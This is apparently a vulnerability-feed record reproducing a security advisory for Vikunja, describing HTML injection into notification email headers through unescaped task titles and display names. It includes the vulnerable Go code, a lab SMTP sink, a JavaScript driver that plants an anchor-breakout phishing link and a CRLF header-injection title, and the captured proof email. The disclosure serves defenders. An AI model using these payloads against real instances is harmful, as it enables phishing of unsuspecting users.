{"schema":"threatline.record/2","record":{"id":"GHSA-rp33-8f2m-hm6j","aliases":["GHSA-rp33-8f2m-hm6j"],"summary":"HTML injection in conversational notification email headers via unescaped doer name and task/project titles (incomplete fix of GHSA-45q4-x4r9-8fqj)","details":"> **Status: fixed on main (unreleased)** by commit 18ff05932 — the doer name and the project/task titles are now escaped in the conversational email header. No released version carries the fix yet.\n\n# HTML injection in conversational notification email header (incomplete fix of GHSA-45q4-x4r9-8fqj)\n\n## Summary\n\nVikunja's conversational notification emails (task comment and task mention) interpolate the doer's display name and the task and project titles **raw** into an HTML anchor in the email header (`CreateConversationalHeader`), then sanitize the finished string with bluemonday's `UGCPolicy`, which intentionally preserves `<a href>` (only adding `rel=\"nofollow\"`). A task title of `</a><a href=\"https://evil.example/phish\">Verify your account</a>` closes the display anchor early and injects a clickable phishing link into notification emails sent to other project members; a commenter can do the same with their display name. An `<img>` survives too, but the sanitizer's `RewriteSrc` (`mail_render.go:205`) blanks every non-`data:` source, so it cannot be used as a tracking pixel.\n\nThis sink is a known-excluded residual: commit `0f3730d` (\"fix(notifications): escape markdown in user-controlled strings in email lines\", fixing GHSA-45q4-x4r9-8fqj / CVE-2026-35600) deliberately left `CreateConversationalHeader` unchanged, with the commit message stating the conversational header \"is sanitized as raw HTML by bluemonday in mail_render.go\" and therefore needs no escaping. The captured email below demonstrates that this assumption is wrong: the header wraps the title inside an existing `<a>` element, so a raw-HTML sanitizer that preserves safe anchors cannot prevent an anchor breakout.\n\n## Affected versions\n\n`<= 2.7.0`. Tested end-to-end on v2.6.0 (commit `a4218eeb8fb3ada95e14a2331731524c9120d5bd`). The vulnerable code is unchanged in current `main` (pushed 2026-10-03).\n\n## Vulnerable code\n\n`pkg/models/notifications.go` — `TaskCommentNotification.ToMail` (line 144) and the task-mention notification (line 511), the only callers, pass the titles raw. The `action` argument is `i18n.T(..., n.Doer.GetName())`, so the doer's display name is raw as well (the `en.json` action strings contain no HTML). Every `Line(...)` call in this file was escaped by the GHSA-45q4 fix; the header call was not:\n\n```go\nheaderLine := notifications.CreateConversationalHeader(\n\tgetDoerAvatarDataURI(n.Doer),\n\taction,\n\tn.Task.GetFrontendURL(),\n\tn.Project.Title,             // raw\n\tn.Task.GetFullIdentifier(),\n\tn.Task.Title,                // raw\n)\n```\n\n`pkg/notifications/mail.go` — `CreateConversationalHeader` builds the HTML with `fmt.Sprintf` (current main, lines 131-148):\n\n```go\nreturn fmt.Sprintf(\n\t`%s%s <a href=\"%s\" style=\"color: #0969da; text-decoration: none;\">(%s &gt; %s) %s</a>`,\n\tavatarHTML,\n\taction,\n\ttaskURL,\n\tprojectTitle,\n\ttaskTitle,\n\ttaskIdentifier,\n)\n```\n\n`pkg/notifications/mail_render.go` — the header is sanitized as raw HTML (current main, line 537) with a bluemonday `UGCPolicy()` (`newNotificationSanitizer`, lines 199-211):\n\n```go\ndata[\"HeaderLineHTML\"] = templatehtml.HTML(newNotificationSanitizer().Sanitize(m.headerLine.Text))\n```\n\n`UGCPolicy` preserves `<a href>` for http/https URLs, so the injected anchor survives with only `rel=\"nofollow\"` added.\n\n## Reproduction\n\nLab: real Vikunja binary built from the pinned commit (only addition: an empty `frontend/dist/.gitkeep` for the `go:embed` placeholder), SQLite storage, mailer pointed at a local SMTP capture sink. Everything below goes through the real REST API — no code changes, no direct database writes.\n\n1. `config.yml` (excerpt):\n\n```yaml\ndatabase:\n  type: sqlite\n  path: ./vikunja.db\nmailer:\n  enabled: true\n  host: 127.0.0.1\n  port: 2525\n  fromemail: no-reply@lab.local\n  queuelength: 100\n  queuetimeout: 3\nservice:\n  interface: \":8080\"\n  publicurl: http://localhost:8080\n  enableregistration: true\nratelimit:\n  enabled: false\n```\n\n2. SMTP capture sink (`smtp-sink.py`, aiosmtpd, saves every message to `mails/msg-XXX.eml`):\n\n```python\n# SMTP sink with aiosmtpd: capture every message from vikunja's mailer to mails/.\nimport os\nfrom aiosmtpd.controller import Controller\nfrom aiosmtpd.handlers import Message\n\nCOUNT = 0\n\nclass Sink(Message):\n    def handle_message(self, message):\n        global COUNT\n        COUNT += 1\n        out = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'mails', f'msg-{COUNT:03d}.eml')\n        with open(out, 'wb') as f:\n            f.write(message.as_bytes())\n        print('SAVED', out, flush=True)\n\ncontroller = Controller(Sink(), hostname='127.0.0.1', port=2525)\ncontroller.start()\nprint('SMTP sink on 127.0.0.1:2525', flush=True)\ntry:\n    controller._thread.join()\nexcept KeyboardInterrupt:\n    controller.stop()\n```\n\n3. REST driver (`drive.mjs`): registers victim and attacker (email confirmation done through the captured confirmation mails), attacker creates a project, adds the victim, creates a task with the payload title, assigns the victim, and comments mentioning them:\n\n```javascript\n// REST driver: real Vikunja v2.6.0 lab, two users, attacker-controlled task title,\n// mention notification, then report what the SMTP sink captured.\nimport fs from 'node:fs';\nimport path from 'node:path';\nimport { fileURLToPath } from 'node:url';\n\nconst BASE = 'http://127.0.0.1:8080/api/v1';\nconst LAB = path.dirname(fileURLToPath(import.meta.url));\nconst sinkDir = path.join(LAB, 'mails');\n\n// F1 payload: close the display anchor, inject a phishing link.\nconst F1_TITLE = '</a><a href=\"https://evil.example/phish\">Verify your account</a>';\n// F2 payload: CRLF in the title (hits ToTitle/Subject).\nconst F2_TITLE = 'clean-title\\r\\nX-Evil: injected';\n\nasync function api(method, p, token, body) {\n  const res = await fetch(BASE + p, {\n    method,\n    headers: { 'Content-Type': 'application/json', ...(token ? { Authorization: `Bearer ${token}` } : {}) },\n    body: body === undefined ? undefined : JSON.stringify(body),\n  });\n  const text = await res.text();\n  let json = null;\n  try { json = JSON.parse(text); } catch { /* non-JSON */ }\n  return { status: res.status, json };\n}\n\nfunction rnd(n) { return Math.random().toString(36).slice(2, 2 + n); }\n\nfunction decodeQP(s) {\n  // quoted-printable decode: soft breaks (= at EOL) and =XX escapes\n  return s.replace(/=\\r?\\n/g, '').replace(/=([0-9A-Fa-f]{2})/g, (m, h) => String.fromCharCode(parseInt(h, 16)));\n}\n\nconst consumed = new Set();\n// fresh start each run: old mails are stale (tokens already used)\nfor (const f of fs.readdirSync(sinkDir).filter(f => f.endsWith('.eml'))) {\n  fs.unlinkSync(path.join(sinkDir, f));\n}\nfunction latestConfirmToken() {\n  const files = fs.readdirSync(sinkDir).filter(f => f.endsWith('.eml')).sort();\n  for (let i = files.length - 1; i >= 0; i--) {\n    const f = files[i];\n    if (consumed.has(f)) continue;\n    const raw = fs.readFileSync(path.join(sinkDir, f), 'utf8');\n    const m = raw.match(/userEmailConfirm=3D((?:[A-Za-z0-9]+|=\\r?\\n)+)/);\n    if (m) {\n      consumed.add(f);\n      return m[1].replace(/=\\r?\\n/g, '');\n    }\n    consumed.add(f);\n  }\n  return null;\n}\n\nasync function registerAndConfirm(username, email) {\n  const r = await api('POST', '/register', null, { username, email, password: 'Passw0rd!x' });\n  console.log('register', username, r.status, r.json && r.json.message);\n  let token = null;\n  for (let i = 0; i < 30 && !token; i++) {\n    await new Promise(res => setTimeout(res, 1500));\n    token = latestConfirmToken();\n  }\n  if (!token) throw new Error('no confirm token for ' + username);\n  const c = await api('POST', '/user/confirm', null, { token });\n  console.log('confirm', username, c.status);\n  const l = await api('POST', '/login', null, { username, password: 'Passw0rd!x' });\n  if (!l.json || !l.json.token) throw new Error('login failed for ' + username + ': ' + JSON.stringify(l.json));\n  return l.json.token;\n}\n\nconst unameA = 'victim_' + rnd(5);\nconst unameB = 'attacker_' + rnd(5);\nconst tokA = await registerAndConfirm(unameA, unameA + '@lab.local');\nconst tokB = await registerAndConfirm(unameB, unameB + '@lab.local');\nconst meA = (await api('GET', '/user', tokA)).json;\nconsole.log('victim id', meA.id);\n\n// attacker creates project + task (F1 title) + assigns victim + mentions victim\nconst proj = (await api('PUT', '/projects', tokB, { title: 'Shared Lab Project' })).json;\nconsole.log('project', proj.id);\nconsole.log('add victim to project:', (await api('PUT', `/projects/${proj.id}/users`, tokB, { username: unameA, permission: 1 })).status);\n\nconst task1 = (await api('PUT', `/projects/${proj.id}/tasks`, tokB, { title: F1_TITLE })).json;\nconsole.log('task1 id', task1.id, 'title:', JSON.stringify(task1.title));\nconsole.log('assign victim to task1:', (await api('PUT', `/tasks/${task1.id}/assignees`, tokB, { user_id: meA.id })).status);\nconsole.log('comment on task1:', (await api('PUT', `/tasks/${task1.id}/comments`, tokB, { comment: `@${unameA} please verify your account now` })).status);\n\n// second task with CRLF title (F2 vector) — same mention path\nconst task2 = (await api('PUT', `/projects/${proj.id}/tasks`, tokB, { title: F2_TITLE })).json;\nconsole.log('task2 id', task2.id, 'title:', JSON.stringify(task2.title));\nconsole.log('assign victim to task2:', (await api('PUT', `/tasks/${task2.id}/assignees`, tokB, { user_id: meA.id })).status);\nconsole.log('comment on task2:', (await api('PUT', `/tasks/${task2.id}/comments`, tokB, { comment: `@${unameA} second note` })).status);\n\nconsole.log('DONE. waiting for mailer queue...');\nawait new Promise(r => setTimeout(r, 20000));\n\nconst files = fs.readdirSync(sinkDir).filter(f => f.endsWith('.eml')).sort();\nconsole.log('captured mails:', files.length);\nfor (const f of files) {\n  const raw = fs.readFileSync(path.join(sinkDir, f), 'binary');\n  console.log('---', f, '---');\n  console.log(raw.slice(0, 2000));\n}\nprocess.exit(0);\n```\n\nThe second task in the script (F2 CRLF title) is out of scope for this report; only the F1 title is relevant to the header-injection finding.\n\n## Proof\n\nCaptured mention-notification email to the victim (`msg-003.eml`, HTML part, quoted-printable decoded):\n\n```html\nattacker_8ec2f left a comment <a href=\"http://localhost:8080/tasks/1\" rel=\"nofollow\">(Shared Lab Project &gt; </a><a href=\"https://evil.example/phish\" rel=\"nofollow\">Verify your account</a>) #1</a>\n```\n\n- The attacker-controlled `</a>` closes the display anchor; the injected `<a href=\"https://evil.example/phish\">` survives bluemonday and renders as a working phishing link inside a legitimate Vikunja notification email from the instance's configured SMTP sender.\n- The `text/plain` part carries the injected link text as well, and the `Subject:` line carries the raw title (`Subject: Re: </a><a href=\"https://evil.example/phish\">Verify your account</a> (#1)`).\n- The assignment notification to the same victim (`msg-004.eml`) shows the same unescaped title in a second notification type (`Subject: You have been assigned to \"</a><a ...`).\n\n## Impact\n\nAny user of a Vikunja instance (self-registration is enabled by default) can create a project, add a victim by username, and trigger comment/mention notification emails whose headers contain an attacker-controlled clickable link inside what otherwise appears to be a legitimate Vikunja email.\n\nSeverity is low: the email body already carries user-written HTML (the comment or task description) under the same sanitizer policy (`mail_render.go:155`, `:522`), which allows links, so the header adds only a more prominent placement for a link an attacker can already send. Remote images are blanked, so there is no tracking pixel.\n\n## Suggested fix\n\n`html.EscapeString` the doer name before passing it to `i18n.T` (the `en.json` action strings at lines 173-176 contain no HTML, so escaping the whole `action` is not needed), and escape both the project and task titles passed to `CreateConversationalHeader`. The `Subject:` line carries the raw title too, so escaping should cover every field derived from `Task.Title` / `Project.Title` in this notification path.\n","categories":["Unclassified"],"product":"code.vikunja.io/api","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-rp33-8f2m-hm6j","source_modified_at":"2026-10-22T10:09:41Z","fetched_at":"2026-10-28T08:18:35.509402Z","package":{"ecosystem":"go","name":"code.vikunja.io/api"},"range":"<= 2.7.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-rp33-8f2m-hm6j","source_modified_at":"2026-10-22T10:09:41Z","fetched_at":"2026-10-28T08:18:35.509402Z","package":{"ecosystem":"go","name":"code.vikunja.io/api"},"version":"2.7.1"}],"cvss":3.5,"severity":"Low","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-22T10:09:41Z","modified_at":"2026-10-22T10:09:41Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/go-vikunja/vikunja/security/advisories/GHSA-rp33-8f2m-hm6j","fetched_at":"2026-10-28T08:18:35.509402Z","source_modified_at":"2026-10-22T10:09:41Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-22T10:09:41Z","content_hash":"4a9ecd79c208df8e0a48c8d8a9b68ecce13d3ffc6c029b3407f4407f1dd779c7"}}
